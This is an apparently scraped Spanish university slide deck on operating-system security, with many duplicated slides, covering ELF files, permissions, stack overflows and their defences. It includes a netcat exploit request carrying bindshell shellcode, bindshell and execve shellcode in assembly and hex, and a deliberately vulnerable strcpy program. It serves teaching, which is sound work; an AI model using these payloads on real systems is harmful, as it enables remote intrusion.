SlideShare una empresa de Scribd logo
Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
15 de junio de 2011
Universitat Jaume I
1 Intro
2 Breve repaso al S.O. GNU/Linux
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
3 Ataques a ficheros ejecutables
Llamadas al sistema
Accediendo a la memoria
4 Desbordamientos de pila
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
5 Desbordamientos de enteros
6 Seguridad f´ısica
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Vulnerabilidad, Exploit, POC
echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn
Host: $hostrnrn" | nc $host 80
Source: http://ciberjacobo.com/sec/mod rewrite.html
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Code
.section .text
.globl _start
_start:
mov %esp,%esi
xorl %eax,%eax
xorl %ebx,%ebx
movl %esi,%ecx
Code cont’d
movl %eax,(%esi)
movb $0x2,%al
movw %ax,0xc(%esi)
movb $0x77,%al # 0x77 = port 30464
movw %ax,0xe(%esi)
leal 0xc(%esi),%eax
movl %eax,0x4(%esi)
xorl %eax,%eax
movl %eax,0x10(%esi)
movb $0x10,%al
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x2,%bl
int $0x80
movb $0x1,%al
movl %eax,0x4(%esi)
movb $0x66,%al
movb $0x4,%bl
int $0x80
xorl %eax,%eax
movl %eax,0x4(%esi)
movl %eax,0x8(%esi)
movb $0x66,%al
movb $0x5,%bl
int $0x80
movb %al,%bl
movb $0x3f,%al
xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Breve repaso al S.O. GNU/Linux
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Privilegios de ejecuci´on
RUID: “Real User ID“. getuid()
EUID: “Effective User ID“. geteuid()
-rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Disposici´on de la pila (“Stack Layout“)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff 
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Devolviendo el control al programa...
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Ataques a ficheros ejecutables
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Desbordamientos de pila
”Stack Overflow“
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Por qu´e da ”Segmentation Fault”?
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte I: Aprovecharse de la vulnerabilidad
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
/* shell sh spawner without placeholders by jack */
char shellcode2[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68";
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
; nasm -f elf execve2.asm
; execve(const char *path, char *const argv[], char *const envp[]);
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi + 7], al ; J = 0x0
lea ebx, [esi] ; ebx = &’/bin/sh’
mov long [esi + 8], ebx ; AAAA = dir de /bin/sh
mov long [esi + 12], eax ; KKKK = 0x0000
mov byte al, 0x0b ; sys_execve syscall #11
mov ebx, esi ; argv1
lea ecx, [esi + 8] ; argv2
lea edx, [esi + 12] ; argv3
int 0x80
GotoCall:
call shellcode
db ’/bin/shJAAAAKKKK’
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
